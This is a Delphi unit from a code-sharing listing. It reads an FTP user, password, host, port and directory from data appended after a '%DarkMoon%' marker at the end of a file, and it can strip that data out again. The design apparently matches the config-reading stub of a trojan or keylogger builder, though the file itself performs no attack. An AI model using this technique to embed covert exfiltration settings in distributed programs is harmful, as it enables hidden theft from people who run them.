editserver.pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:3k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. unit editserver;
  2. interface
  3.   uses
  4.   Windows, Messages, SysUtils ,CommandsAndUtils;
  5.              var
  6.      USER, PASS,FTP,PORT,DIR,FileDarkMoon: string   ;
  7. implementation
  8.        
  9.   procedure Clear();
  10. var F :file of char;
  11. s,Data,Data1, tmpData,tmpData1: string;
  12. i ,a: integer;
  13. l ,c : char;
  14. begin
  15. If FileExists (FileDarkMoon)=true Then  begin
  16. AssignFile (F,FileDarkMoon);
  17. FileMode := 0;
  18. Reset (F);
  19. if     filesize(F)>88 then begin
  20. //seek(F,filesize(F)-88);
  21.        end;
  22.         while not eof( F ) do
  23.       begin
  24.            read( F, l );
  25.            Data := Data + l;
  26.       end;
  27. closefile(F);
  28. if StrPos(pchar(Data),'%DarkMoon%') <> '' then begin
  29. Data1:=copy(StrPos(pchar(Data),'%DarkMoon%'),11,100);
  30.    tmpData:= copy(Data,1,length(Data)-length(StrPos(pchar(Data),'%DarkMoon%'))) ;
  31. ///Data1 :=replace(Data1,#13#10,'*');
  32. //messagebox(0,pchar(inttostr(findchar('hh%DarkMoon%hhh','h'))),'d',0);
  33.   //messagebox(0,StrPos('ggggggfggghgggshukisnikeggggng','shukisnike'),'s',0);
  34.      //form1.memo1.Text:=tmpData;
  35.            AssignFile (F,FileDarkMoon);
  36.       rewrite(F);
  37.         for i:=1 to length(  tmpData)   do begin
  38.          c:= stringtochar( copy( tmpData,i,1) );
  39.          write(F,c);
  40.       end;
  41.          closefile(F);
  42.   end;
  43.  end;
  44.  end;
  45.   procedure ReadDarkMoon();
  46. var F :file of char;
  47. var G :file of char;
  48. s,Data,Data1, tmpData,tmpData1: string;
  49. i ,a: integer;
  50. l  : char;
  51. begin
  52.   If FileExists (FileDarkMoon)=true Then  begin
  53. AssignFile (F,FileDarkMoon);
  54. FileMode := 0;
  55. Reset (F);
  56.      if    filesize(F) > 88 then begin
  57. seek(F,filesize(F)-88);
  58.           end;
  59.         while not eof( F ) do
  60.       begin
  61.            read( F, l );
  62.            Data := Data + l;
  63.       end;
  64. //form1.memo1.Text:=  Data;
  65. closefile(F);
  66. if StrPos(pchar(Data),'%DarkMoon%') <>'' then begin
  67. Data1:=copy(StrPos(pchar(Data),'%DarkMoon%'),11,100);
  68. //Data1 :=replace(Data1,#13#10,'*');
  69. //messagebox(0,pchar(inttostr(findchar('hh%DarkMoon%hhh','h'))),'d',0);
  70.   //messagebox(0,StrPos('ggggggfggghgggshukisnikeggggng','shukisnike'),'s',0);
  71.          //   memo1.Text:=  Data1;
  72.       i:=FindNChars (Data1 ,'*' );
  73.           for a:= 1 to i do begin
  74.             tmpData:= (copy(Data1,1,FindChar(Data1,'*'))) ;
  75.               tmpData1:= (copy(Data1,1,FindChar(Data1,'*')-1)) ;
  76.          if a= 1  then begin
  77.             USER:= tmpData1;
  78.             end;
  79.             if a= 2 then  begin
  80.             PASS:= tmpData1;
  81.             end;
  82.            if a= 3  then begin
  83.                FTP:= tmpData1;
  84.             end;
  85.            if a= 4 then begin
  86.                PORT:= tmpData1;
  87.             end;
  88.             if a= 5 then begin
  89.             DIR:= tmpData1;
  90.             end;
  91.               Data1:=replace ( Data1,tmpData,''  );
  92.           end;
  93.                end;
  94.      
  95.  end;
  96. end;
  97. end.
  98.